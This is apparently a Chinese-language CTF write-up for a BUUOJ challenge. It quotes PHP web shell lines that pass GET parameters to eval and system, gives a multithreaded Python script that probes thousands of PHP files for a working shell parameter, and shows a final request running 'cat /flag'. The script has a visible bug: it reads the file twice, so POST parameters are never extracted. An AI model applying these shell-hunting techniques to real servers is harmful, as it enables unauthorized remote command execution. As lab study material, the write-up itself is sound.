知识点
- python脚本编写能力
启动靶机
打开题目,页面上提示了源码在www.tar.gz
下载源码,打开是几千个php文件,里面包含很多shell,不过很多shell都没用,形如:
$_GET['ganVMUq3d'] = ' ';
eval($_GET['ganVMUq3d'] ?? ' ');
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;
猜测这几千个php文件中肯定含有可以使用的shell,所以遍历文件查找未被置空入口
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"/Users/lmc/Downloads/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://10.211.55.3/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
找到文件:
访问:
http://b4c706f4-41a5-43f9-a360-177a8526632f.node4.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
得到flag: